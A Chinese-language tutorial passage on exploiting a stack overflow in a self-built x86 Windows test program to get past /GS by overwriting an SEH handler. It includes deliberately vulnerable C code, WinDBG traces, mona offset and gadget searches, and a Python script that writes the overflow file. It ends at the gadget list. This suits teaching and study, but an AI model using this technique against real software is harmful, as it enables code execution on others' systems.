前面我们介绍在关闭/GS和DEP的情况下,如何利用栈溢出来实现exploit。下面我们会开启/GS,以及介绍突破/GS的常用手法。
我们先开启/GS,编译一个build,再试试原先的exploit,看看会有什么问题。
使用原先的msg.dat会导致程序crash,从下面的分析可以看出,WinDBG是可以给出栈溢出的信息的。具体原因是由于开启/GS选项以后,会在return之前,调用__security_check_cookie检测栈上的cookie是否被修改,如果发现被修改,就认为是栈溢出,抛异常。
CommandLine: C:\Users\Administrator\Desktop\stack_overflow\test_x86_with_gs_no_dep.exe msg.dat
Starting directory: C:\Users\Administrator\Desktop\stack_overflow
************* Symbol Path validation summary **************
Response Time (ms) Location
Deferred SRV*C:\Symbol\web_symbol*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*C:\Symbol\web_symbol*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 013b0000 013b6000 test_x86_with_gs_no_dep.exe
ModLoad: 77cb0000 77e30000 ntdll.dll
ModLoad: 75a30000 75b40000 C:\Windows\syswow64\kernel32.dll
ModLoad: 76160000 761a6000 C:\Windows\syswow64\KERNELBASE.dll
ModLoad: 73590000 73666000 C:\Windows\SysWOW64\MSVCR110.dll
STATUS_STACK_BUFFER_OVERRUN encountered
(814.5c0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=013b2108 ecx=75a801b8 edx=001af851 esi=00000000 edi=00000000
eip=75a7ff99 esp=001afa98 ebp=001afb14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
75a7ff99 cc int 3
0:000> kn
# ChildEBP RetAddr
00 001afb14 736300f1 kernel32!UnhandledExceptionFilter+0x5f
01 001afb20 013b138e MSVCR110!__crtUnhandledException+0x14
02 001afb30 013b14a5 test_x86_with_gs_no_dep!__raise_securityfailure+0x1d
03 001afe60 013b10eb test_x86_with_gs_no_dep!__report_gsfailure+0xf7
04 001afe8c 0082e8fc test_x86_with_gs_no_dep!main+0xeb
0:000> ub 013b10eb
test_x86_with_gs_no_dep!main+0xd4 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 19]:
013b10d4 ff15a4203b01 call dword ptr [test_x86_with_gs_no_dep!_imp__printf (013b20a4)]
013b10da 8b4dfc mov ecx,dword ptr [ebp-4]
013b10dd 83c438 add esp,38h
013b10e0 33cd xor ecx,ebp
013b10e2 5b pop ebx
013b10e3 33c0 xor eax,eax
013b10e5 5e pop esi
013b10e6 e804000000 call test_x86_with_gs_no_dep!__security_check_cookie (013b10ef)
绕过Stack Cookie的方式也有很多,比较简单稳定的方式是覆写SEH hander。首先需要了解SEH的原理,网上资料很多,这里推荐参考《软件调试》第24章的内容。
下面直接从利用调试器看看SEH 是什么,以及如何存放的。
下面列出三种查看异常处理链的方式:
0:000> !exchain
0032fd04: test_x86_no_dep!_except_handler4+0 (01291749)
CRT scope 0, filter: test_x86_no_dep!__tmainCRTStartup+115 (012912de)
func: test_x86_no_dep!__tmainCRTStartup+129 (012912f2)
0032fd50: ntdll!_except_handler4+0 (77d271d5)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (77d274b0)
func: ntdll!__RtlUserThreadStart+63 (77d290cb)
0:000> ?poi(fs:[0])
Evaluate expression: 3341572 = 0032fd04
0:000> !teb
TEB at 7efdd000
ExceptionList: 0032fd04
StackBase: 00330000
StackLimit: 0032e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7efdd000
EnvironmentPointer: 00000000
ClientId: 00000390 . 00000204
RpcHandle: 00000000
Tls Storage: 7efdd02c
PEB Address: 7efde000
LastErrorValue: 0
LastStatusValue: c0000139
Count Owned Locks: 0
HardErrorMode: 0
上面使用!exchain列出的exception list,也可以使用纯手工的方式搜索出来。
0:000> dt _EXCEPTION_REGISTRATION_RECORD
test_x86_no_dep!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0032fd04
test_x86_no_dep!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0032fd50 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x01291749 _EXCEPTION_DISPOSITION test_x86_no_dep!_except_handler4+0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0032fd50
test_x86_no_dep!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77d271d5 _EXCEPTION_DISPOSITION ntdll!_except_handler4+0
从栈地址的信息可以看出,SEH 是存放在栈上的。
0:000> r esp
esp=0032fcd8
在开始编写exploit之前,重新编译测试程序,这一次,将/SAFESEH option关闭。目的是为了简化exploit的难度,因为/SAFESEH是防止覆写SEH的有效手段,当然,这种手段也是可以被绕过的,以后,有时间会介绍。
为了方便说明SEH的问题,我们使用下面的这段code编译一个exe来演示:
#include
int main(int argc, char** argv) {
if (argc != 2) {
printf("Usage:\n test.exe file_path");
return -1;
}
char msg[32] = {0};
printf("Reading msg from file...\n");
FILE *f = fopen(argv[1], "rb");
if (!f) {
return -1;
}
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(msg + pos, 1, len, f);
pos += len;
}
fclose(f);
printf("%s\n", msg);
return 0;
}
使用10000个’a’填充msg.dat,看看有什么情况发生,结果程序crash,而且EIP被修改为0x61616161,看来我们是可以通过栈溢出控制EIP的。
(568.4e0): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=61616161 edx=7737b46d esi=00000000 edi=00000000
eip=61616161 esp=0017127c ebp=0017129c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
为什么会出现这种crash?下面我们开始分析一下。
先看看这个函数的反汇编代码:
.text:00401000 ; =============== S U B R O U T I N E =======================================
.text:00401000
.text:00401000 ; Attributes: bp-based frame
.text:00401000
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main proc near ; CODE XREF: __tmainCRTStartup+F8p
.text:00401000
.text:00401000 var_28 = dword ptr -28h
.text:00401000 msg = byte ptr -24h
.text:00401000 var_4 = dword ptr -4
.text:00401000 argc = dword ptr 8
.text:00401000 argv = dword ptr 0Ch
.text:00401000 envp = dword ptr 10h
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 28h
.text:00401006 mov eax, ___security_cookie
.text:0040100B xor eax, ebp
.text:0040100D mov [ebp+var_4], eax
.text:00401010 cmp [ebp+argc], 2
.text:00401014 push esi
.text:00401015 mov esi, [ebp+argv]
.text:00401018 jz short loc_40103A
.text:0040101A push offset Format ; "Usage:\n test.exe file_path"
.text:0040101F call ds:__imp__printf
.text:00401025 add esp, 4
.text:00401028 or eax, 0FFFFFFFFh
.text:0040102B pop esi
.text:0040102C mov ecx, [ebp+var_4]
.text:0040102F xor ecx, ebp ; cookie
.text:00401031 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401036 mov esp, ebp
.text:00401038 pop ebp
.text:00401039 retn
.text:0040103A ; ---------------------------------------------------------------------------
.text:0040103A
.text:0040103A loc_40103A: ; CODE XREF: _main+18j
.text:0040103A xorps xmm0, xmm0
.text:0040103D push ebx
.text:0040103E push offset aReadingMsgFrom ; "Reading msg from file...\n"
.text:00401043 mov [ebp+msg], 0
.text:00401047 movq qword ptr [ebp+msg+1], xmm0
.text:0040104C movq qword ptr [ebp+msg+9], xmm0
.text:00401051 movq qword ptr [ebp+msg+11h], xmm0
.text:00401056 mov dword ptr [ebp+msg+19h], 0
.text:0040105D mov word ptr [ebp+msg+1Dh], 0
.text:00401063 mov [ebp+msg+1Fh], 0
.text:00401067 call ds:__imp__printf
.text:0040106D push offset Mode ; "rb"
.text:00401072 push dword ptr [esi+4] ; Filename
.text:00401075 call ds:__imp__fopen
.text:0040107B mov ebx, eax
.text:0040107D add esp, 0Ch
.text:00401080 test ebx, ebx
.text:00401082 jnz short loc_401097
.text:00401084 pop ebx
.text:00401085 or eax, 0FFFFFFFFh
.text:00401088 pop esi
.text:00401089 mov ecx, [ebp+var_4]
.text:0040108C xor ecx, ebp ; cookie
.text:0040108E call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401093 mov esp, ebp
.text:00401095 pop ebp
.text:00401096 retn
.text:00401097 ; ---------------------------------------------------------------------------
.text:00401097
.text:00401097 loc_401097: ; CODE XREF: _main+82j
.text:00401097 mov esi, ds:__imp__fseek
.text:0040109D push edi
.text:0040109E push 2 ; Origin
.text:004010A0 push 0 ; Offset
.text:004010A2 push ebx ; File
.text:004010A3 call esi ; __imp__fseek
.text:004010A5 push ebx ; File
.text:004010A6 call ds:__imp__ftell
.text:004010AC push 0 ; Origin
.text:004010AE push 0 ; Offset
.text:004010B0 push ebx ; File
.text:004010B1 mov [ebp+var_28], eax
.text:004010B4 call esi ; __imp__fseek
.text:004010B6 mov eax, [ebp+var_28]
.text:004010B9 add esp, 1Ch
.text:004010BC xor edi, edi
.text:004010BE test eax, eax
.text:004010C0 jle short loc_4010FE
.text:004010C2 mov ecx, 0C8h
.text:004010C7 jmp short loc_4010D0
.text:004010C7 ; ---------------------------------------------------------------------------
.text:004010C9 align 10h
.text:004010D0
.text:004010D0 loc_4010D0: ; CODE XREF: _main+C7j
.text:004010D0 ; _main+FCj
.text:004010D0 mov esi, eax
.text:004010D2 sub esi, edi
.text:004010D4 cmp esi, 0C8h
.text:004010DA cmovg esi, ecx
.text:004010DD push ebx ; File
.text:004010DE push esi ; Count
.text:004010DF lea eax, [ebp+msg]
.text:004010E2 add eax, edi
.text:004010E4 push 1 ; ElementSize
.text:004010E6 push eax ; DstBuf
.text:004010E7 call ds:__imp__fread
.text:004010ED mov eax, [ebp+var_28]
.text:004010F0 add edi, esi
.text:004010F2 add esp, 10h
.text:004010F5 mov ecx, 0C8h
.text:004010FA cmp edi, eax
.text:004010FC jl short loc_4010D0
.text:004010FE
.text:004010FE loc_4010FE: ; CODE XREF: _main+C0j
.text:004010FE push ebx ; File
.text:004010FF call ds:__imp__fclose
.text:00401105 lea eax, [ebp+msg]
.text:00401108 push eax
.text:00401109 push offset aS ; "%s\n"
.text:0040110E call ds:__imp__printf
.text:00401114 mov ecx, [ebp+var_4]
.text:00401117 add esp, 0Ch
.text:0040111A xor ecx, ebp ; cookie
.text:0040111C pop edi
.text:0040111D pop ebx
.text:0040111E xor eax, eax
.text:00401120 pop esi
.text:00401121 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401126 mov esp, ebp
.text:00401128 pop ebp
.text:00401129 retn
.text:00401129 _main endp
.text:00401129
因为开启了/GS,所以,会在汇编代码中找到security cookie之类的动作。我们知道fread会导致溢出,所以,我们直接在这里设置断点,观察执行以后的情况。
0:000> u test_x86_wo_safeseh_dep+10E7
test_x86_wo_safeseh_dep!main+0xe7 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]:
013c10e7 ff1598203c01 call dword ptr [test_x86_wo_safeseh_dep!_imp__fread (013c2098)]
013c10ed 8b45d8 mov eax,dword ptr [ebp-28h]
013c10f0 03fe add edi,esi
013c10f2 83c410 add esp,10h
013c10f5 b9c8000000 mov ecx,0C8h
013c10fa 3bf8 cmp edi,eax
013c10fc 7cd2 jl test_x86_wo_safeseh_dep!main+0xd0 (013c10d0)
013c10fe 53 push ebx
0:000> bp test_x86_wo_safeseh_dep+10E7
F5继续执行,断下来以后,我们看看将要被修改的memory内容,也就是EAX指向的位置。
0:000> g
Breakpoint 1 hit
eax=003cfa70 ebx=73987060 ecx=000000c8 edx=0015dfe8 esi=000000c8 edi=00000000
eip=013c10e7 esp=003cfa50 ebp=003cfa94 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
test_x86_wo_safeseh_dep!main+0xe7:
013c10e7 ff1598203c01 call dword ptr [test_x86_wo_safeseh_dep!_imp__fread (013c2098)] ds:002b:013c2098={MSVCR110!fread (738d88fc)}
0:000> dd 003cfa70
003cfa70 00000000 00000000 00000000 00000000
003cfa80 00000000 00000000 00000000 00000000
003cfa90 fe33e796 003cfad4 013c133a 00000002
003cfaa0 00176df8 00175260 fe33e7d6 00000000
003cfab0 00000000 7efde000 00000000 003cfaa8
003cfac0 0000008b 003cfb10 013c18e9 ff333f22
003cfad0 00000000 003cfae0 74bb339a 7efde000
003cfae0 003cfb20 77359ef2 7efde000 7e8bdd7f
单步执行以后,再看看原先的memory情况,可以发现相应位置的内容已经被覆写为0x61616161,原先的EBP和返回地址同样也被修改为0x61616161。
0:000> p
eax=000000c8 ebx=73987060 ecx=738d88dc edx=00000000 esi=000000c8 edi=00000000
eip=013c10ed esp=003cfa50 ebp=003cfa94 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
test_x86_wo_safeseh_dep!main+0xed:
013c10ed 8b45d8 mov eax,dword ptr [ebp-28h] ss:002b:003cfa6c=00002710
0:000> dd 003cfa70
003cfa70 61616161 61616161 61616161 61616161
003cfa80 61616161 61616161 61616161 61616161
003cfa90 61616161 61616161 61616161 61616161
003cfaa0 61616161 61616161 61616161 61616161
003cfab0 61616161 61616161 61616161 61616161
003cfac0 61616161 61616161 61616161 61616161
003cfad0 61616161 61616161 61616161 61616161
003cfae0 61616161 61616161 61616161 61616161
0:000> dd
003cfaf0 61616161 61616161 61616161 61616161
003cfb00 61616161 61616161 61616161 61616161
003cfb10 61616161 61616161 61616161 61616161
003cfb20 61616161 61616161 61616161 61616161
003cfb30 61616161 61616161 00000000 00000000
003cfb40 013c13a2 7efde000 00000000 00000000
003cfb50 00000000 00000000 00000000 00000000
003cfb60 00000000 00000000 00000000 00000000
0:000> dd 003cfa94 l2
003cfa94 61616161 61616161
调试的过程中,会发现程序会一直在下面的loop中执行,原因是msg.dat内容比较大,会持续地读取内容。
为了跳过这段loop,我们可以在后面的PUSH EBX设断。不过,当使用F5 continue的时候,发现出现并没有断在我们刚刚设置的断点上,而是出现下面的exception。
0:000> g
(ab8.8c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=002b7be8 ebx=000000c8 ecx=0000002c edx=00000000 esi=00178418 edi=003d0000
eip=738ce33d esp=003cf990 ebp=003cf9b0 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
MSVCR110!memcpy+0x21e:
738ce33d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> k
ChildEBP RetAddr
003cf994 738ce3b7 MSVCR110!memcpy+0x21e
003cf9b0 738d8855 MSVCR110!memcpy_s+0x3e
003cf9e4 738d88c1 MSVCR110!_fread_nolock_s+0xd3
003cfa2c 738d8912 MSVCR110!fread_s+0x6b
003cfa48 013c10ed MSVCR110!fread+0x16
003cfa94 61616161 test_x86_wo_safeseh_dep!main+0xed [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]
这个exception是由于访问违例导致的,可以看出,当前还是在fread函数中。使用!address命令可以看出目标地址EDI所指向的地址是READONLY属性,这就难怪为什么会出现访问违例了,不给写嘛!
0:000> !address 003d0000
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: MappedFile
Base Address: 003d0000
End Address: 00437000
Region Size: 00067000
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Type: 00040000 MEM_MAPPED
Allocation Base: 003d0000
Allocation Protect: 00000002 PAGE_READONLY
Mapped file name: \Device\HarddiskVolume2\Windows\System32\locale.nls
总结一下:上面看到的exception是由于程序读入大量的内容,往栈上覆写,从003cfa94 往高地址写,一直写到003d0000,结果导致了访问违例。
这个时候,我们看看exception chain的情况,可以看到下面这样的
0:000> !exchain
003cfa1c: MSVCR110!_except_handler4+0 (738da6e0)
CRT scope 0, func: MSVCR110!fread_s+83 (73911cfc)
003cfac4: 61616161
Invalid exception stack at 61616161
为了看看exception handler是怎么被调用的,可以在上面的exception hander上设置断点,MONA提供命令可以给SEH 上的所有hander设置断点
0:000> !py mona bpseh
Hold on...
[+] Command used:
!py mona.py bpseh
Nr of SEH records : 2
SEH Chain :
-----------
Address Next SEH Handler
0x003cfa1c 0x003cfac4 0x738da6e0 MSVCR110!_except_handler4 <- BP set
0x003cfac4 0x61616161 0x61616161 <- BP set
[+] This mona.py action took 0:00:00.094000
不过,继续执行以后会出现下面的错误,意思是说0x61616161这个位置不能用BP设置断点,原因是由于这个位置不可访问。
0:000> g
Unable to insert breakpoint 4 at 61616161, Win32 error 0n299
"Only part of a ReadProcessMemory or WriteProcessMemory request was completed."
The breakpoint was set with BP. If you want breakpoints
to track module load/unload state you must use BU.
bp4 at 61616161 failed
WaitForEvent failed
eax=002b7be8 ebx=000000c8 ecx=0000002c edx=00000000 esi=00178418 edi=003d0000
eip=738ce33d esp=003cf990 ebp=003cf9b0 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
MSVCR110!memcpy+0x21e:
738ce33d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !address 0x61616161
Usage: Free
Base Address: 013c6000
End Address: 735d0000
Region Size: 7220a000
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS
Type: not present at the target>
既然如此,就把这个位置的断点清掉,我们用硬件断点来设断。
0:000> bl
0 e 013c1000 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main
1 d 013c10e7 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main+0xe7
2 e 013c10fe 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main+0xfe
3 e 738da6e0 0001 (0001) 0:**** MSVCR110!_except_handler4
4 e 61616161 0001 (0001) 0:****
0:000> bc 4
0:000> ba e1 0x61616161
0:000> bl
0 e 013c1000 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main
1 d 013c10e7 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main+0xe7
2 e 013c10fe 0001 (0001) 0:**** test_x86_wo_safeseh_dep!main+0xfe
3 e 738da6e0 0001 (0001) 0:**** MSVCR110!_except_handler4
4 e 61616161 e 1 0001 (0001) 0:****
我们再继续执行,可以看到依然是在fread中调用memcpy中,调用RtlDispatchException找合适的异常处理函数,先找到except_handler4,except_handler4处理不了,继续往下一个找,也就是0x61616161,这也就是为什么最后,我们会发现crash时,EIP是0x61616161的原因了。
0:000> g
Breakpoint 3 hit
eax=00000000 ebx=00000000 ecx=738da6e0 edx=7737b46d esi=00000000 edi=00000000
eip=738da6e0 esp=003cf3f4 ebp=003cf414 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSVCR110!_except_handler4:
738da6e0 55 push ebp
0:000> k
ChildEBP RetAddr
003cf3f0 7737b459 MSVCR110!_except_handler4
003cf414 7737b42b ntdll!ExecuteHandler2+0x26
003cf438 7737b3ce ntdll!ExecuteHandler+0x24
003cf4c4 77330133 ntdll!RtlDispatchException+0x127
003cf4c4 738ce33d ntdll!KiUserExceptionDispatcher+0xf
003cf994 738ce3b7 MSVCR110!memcpy+0x21e
003cf9b0 738d8855 MSVCR110!memcpy_s+0x3e
003cf9e4 738d88c1 MSVCR110!_fread_nolock_s+0xd3
003cfa2c 738d8912 MSVCR110!fread_s+0x6b
003cfa48 013c10ed MSVCR110!fread+0x16
003cfa94 61616161 test_x86_wo_safeseh_dep!main+0xed [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]
0:000> g
Breakpoint 4 hit
eax=00000000 ebx=00000000 ecx=61616161 edx=7737b46d esi=00000000 edi=00000000
eip=61616161 esp=003cf3f4 ebp=003cf414 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
61616161 ?? ???
0:000> k
ChildEBP RetAddr
003cf3f0 7737b459 0x61616161
003cf414 7737b42b ntdll!ExecuteHandler2+0x26
003cf438 7737b3ce ntdll!ExecuteHandler+0x24
003cf4c4 77330133 ntdll!RtlDispatchException+0x127
003cf4c4 738ce33d ntdll!KiUserExceptionDispatcher+0xf
003cf994 738ce3b7 MSVCR110!memcpy+0x21e
003cf9b0 738d8855 MSVCR110!memcpy_s+0x3e
003cf9e4 738d88c1 MSVCR110!_fread_nolock_s+0xd3
003cfa2c 738d8912 MSVCR110!fread_s+0x6b
003cfa48 013c10ed MSVCR110!fread+0x16
003cfa94 61616161 test_x86_wo_safeseh_dep!main+0xed [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]
有了上面的分析理解,可以有助于我们理解exploit的利用原理。下面我们会介绍如何利用这个crash来开发一个exploit。
前面我们知道可以通过栈溢出来覆写exception handler,既然如此,我们需要知道相对偏移的位置是多少,可以使用MONA生成长度为10000的Pattern
0:000> !py mona pc 10000
Hold on...
[+] Command used:
!py mona.py pc 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M
[+] Preparing output file 'pattern.txt'
- Creating working folder c:\mona\test_x86_wo_safeseh_dep
- Folder created
- (Re)setting logfile c:\mona\test_x86_wo_safeseh_dep\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\mona\test_x86_wo_safeseh_dep\pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00.047000
将这个pattern作为msg.dat的内容,再看看crash的位置。
0:000> g
(adc.37c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=7737b46d esi=00000000 edi=00000000
eip=64413963 esp=003af790 ebp=003af7b0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
64413963 ?? ???
0:000> !py mona po 64413963
Hold on...
[+] Command used:
!py mona.py po 64413963
Looking for c9Ad in pattern of 500000 bytes
- Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (uppercase)
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.281000
看来offset是88,这样,我们可以利用下面的python脚本生成一个特殊的msg.dat,如果与我们预期一致的话,新的crash中EIP应该是0x62626262
with open(r'msg.dat', 'wb') as f:
data = 'a'*88 + 'b'*4 + 'c'*10000
f.write(data)
WinDBG中的调试信息:
0:000> g
(790.434): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=7737b46d esi=00000000 edi=00000000
eip=62626262 esp=0031f3c8 ebp=0031f3e8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
0:000> dd esp l200
0031f3c8 7737b459 0031f4b0 0031fa98 0031f500
0031f3d8 0031f484 0031f9f0 7737b46d 0031fa98
0031f3e8 0031f498 7737b42b 0031f4b0 0031fa98
0031f3f8 0031f500 0031f484 62626262 00000000
0031f408 0031f4b0 0031fa98 7737b3ce 0031f4b0
0031f418 0031fa98 0031f500 0031f484 62626262
0031f428 00320000 0031f4b0 005e8444 00000000
0031f438 00000000 00000000 00000000 00000000
...
0031fa28 00000001 000000c8 73817060 00000000
0031fa38 00000000 00000001 0000276c 61616161
0031fa48 61616161 61616161 61616161 61616161
0031fa58 61616161 61616161 61616161 61616161
0031fa68 61616161 61616161 61616161 61616161
0031fa78 61616161 61616161 61616161 61616161
0031fa88 61616161 61616161 61616161 61616161
0031fa98 61616161 62626262 63636363 63636363 <--ESP+8的内容指向这里
0031faa8 63636363 63636363 63636363 63636363
0031fab8 63636363 63636363 63636363 63636363
0031fac8 63636363 63636363 63636363 63636363
0031fad8 63636363 63636363 63636363 63636363
0031fae8 63636363 63636363 63636363 63636363
0031faf8 63636363 63636363 63636363 63636363
0031fb08 63636363 63636363 63636363 63636363
0031fb18 63636363 63636363 63636363 63636363
0031fb28 63636363 63636363 63636363 63636363
0031fb38 63636363 63636363 63636363 63636363
0031fb48 63636363 63636363 63636363 63636363
0031fb58 63636363 63636363 63636363 63636363
0031fb68 63636363 63636363 63636363 63636363
0031fb78 63636363 63636363 63636363 63636363
0031fb88 63636363 63636363 63636363 63636363
0031fb98 63636363 63636363 63636363 63636363
0031fba8 63636363 63636363 63636363 63636363
0031fbb8 63636363 63636363 63636363 63636363
看来一切如我们预期的一样!
此时,看看当前栈上的情况,ESP+8这个位置所存放的值正好是最终会执行的exception hander所对应的_EXCEPTION_REGISTRATION_RECORD节点地址
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0031fa98
test_x86_wo_safeseh_dep!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x62626262 _EXCEPTION_DISPOSITION +62626262
同时,这个地址的内容是可以被我们所控制的,我们可以写入任意值。
常用的思路是将原先的’bbbb’修改为POP,POP,RET的地址,这样,就会执行到上面介绍的0031fa98,然后,将0031fa98的内容改为JMP,然后将0x63636363修改为shellcode
使用MONA在ntdll和kernel32中搜索POP,POP,RET的指令
0:000> !py mona fw -s "pop r32#pop r32#ret" -m ntdll,kernel32
Hold on...
[+] Command used:
!py mona.py fw -s pop r32#pop r32#ret -m ntdll,kernel32
---------- Mona command started on 2016-12-14 05:50:08 (v2.0, rev 562) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules ntdll,kernel32
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x77320000 and 0x774a0000
[+] Searching startpattern between 0x74ba0000 and 0x74cb0000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile c:\mona\test_x86_wo_safeseh_dep\findwild.txt
[+] Writing results to c:\mona\test_x86_wo_safeseh_dep\findwild.txt
[+] Results :
0x7735fd82 | 0x7735fd82 (b+0x0003fd82) : pop edi # pop esi # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x77380414 | 0x77380414 (b+0x00060414) : pop edi # pop esi # retn | ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7739a4e7 | 0x7739a4e7 (b+0x0007a4e7) : pop edi # pop esi # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773c16db | 0x773c16db (b+0x000a16db) : pop edi # pop esi # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773c615e | 0x773c615e (b+0x000a615e) : pop edi # pop esi # retn | asciiprint,ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x74bbd63d | 0x74bbd63d (b+0x0001d63d) : pop edi # pop esi # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x74c56af6 | 0x74c56af6 (b+0x000b6af6) : pop edi # pop esi # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x7735b440 | 0x7735b440 (b+0x0003b440) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7735f570 | 0x7735f570 (b+0x0003f570) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x77397345 | 0x77397345 (b+0x00077345) : pop esi # pop ebx # retn | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773991d6 | 0x773991d6 (b+0x000791d6) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7739be98 | 0x7739be98 (b+0x0007be98) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
